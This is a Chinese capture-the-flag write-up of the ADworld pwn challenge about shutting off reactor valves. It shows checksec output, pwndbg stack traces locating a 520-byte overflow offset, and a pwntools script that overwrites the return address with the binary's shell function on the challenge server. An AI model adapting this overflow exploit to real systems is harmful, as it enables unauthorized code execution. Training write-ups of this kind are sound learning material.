非预期解 |攻防世界 pwn进阶 反应釜开关控制

文章目录

    • 菜鸡独白
    • 0x00.看题
    • 0x01.查看保护
    • 0x02.懵...非预期
    • 0x03.后记

菜鸡独白

好久没做题了,看大佬们天天在朋友圈晒比赛成绩,不由感叹WTCL!
今天下午无聊继续刷起ADworld。

0x00.看题

题目描述:小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。

感觉还挺nb的,然而没发现什么关键词。 好吧,我承认瞎,题目都说了得把反应釜的闸门都关掉才行。

0x01.查看保护

    Arch:     amd64-64-little		
    RELRO:    Partial RELRO		//可以修改GOT表
    Stack:    No canary found		//可以通过溢出的方式来更改程序运行流
    NX:       NX enabled			//堆栈不可执行
    PIE:      No PIE (0x400000)			//地址随机化未开启

0x02.懵…非预期

非预期解 |攻防世界 pwn进阶 反应釜开关控制_第1张图片
这个题我在ida里面看到了shell,检查保护的时候又发现可以溢出…
非预期解 |攻防世界 pwn进阶 反应釜开关控制_第2张图片

─────────────────────────────────[ STACK ]─────────────────────────────────
00:0000│ rsp  0x7fffffffde78 ◂— 'faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
01:0008│      0x7fffffffde80 ◂— 'haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
02:0010│      0x7fffffffde88 ◂— 'jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
03:0018│      0x7fffffffde90 ◂— 'laafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
04:0020│      0x7fffffffde98 ◂— 'naafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
05:0028│      0x7fffffffdea0 ◂— 'paafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
06:0030│      0x7fffffffdea8 ◂— 'raafsaaftaafuaafvaafwaafxaafyaaf'
07:0038│      0x7fffffffdeb0 ◂— 'taafuaafvaafwaafxaafyaaf'
───────────────────────────────[ BACKTRACE ]───────────────────────────────
 ► f 0           4007f1 main+152
   f 1 6661616766616166
   f 2 6661616966616168
   f 3 6661616b6661616a
   f 4 6661616d6661616c
   f 5 6661616f6661616e
   f 6 6661617166616170
   f 7 6661617366616172
   f 8 6661617566616174
   f 9 6661617766616176
   f 10 6661617966616178
───────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 'faaf'
520 		;hex(520)=208h

想了想还是试一下直接溢出:

#!usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
r = remote('159.138.137.79',64622)
elf = ELF('./switch')
#shell_addr = elf.symbols['shell']
shell_addr = 0x04005F6
payload = 'A'*0x208 + p64(shell_addr)
r.sendlineafter('>',payload)
r.interactive()

结果竟然打通了,还能得到flag。

0x03.后记

之后我去ADworld看了大佬们写的wp,据说这题是用爆破脚本进行盲打…
非预期解 |攻防世界 pwn进阶 反应釜开关控制_第3张图片

你可能感兴趣的:(#,pwn)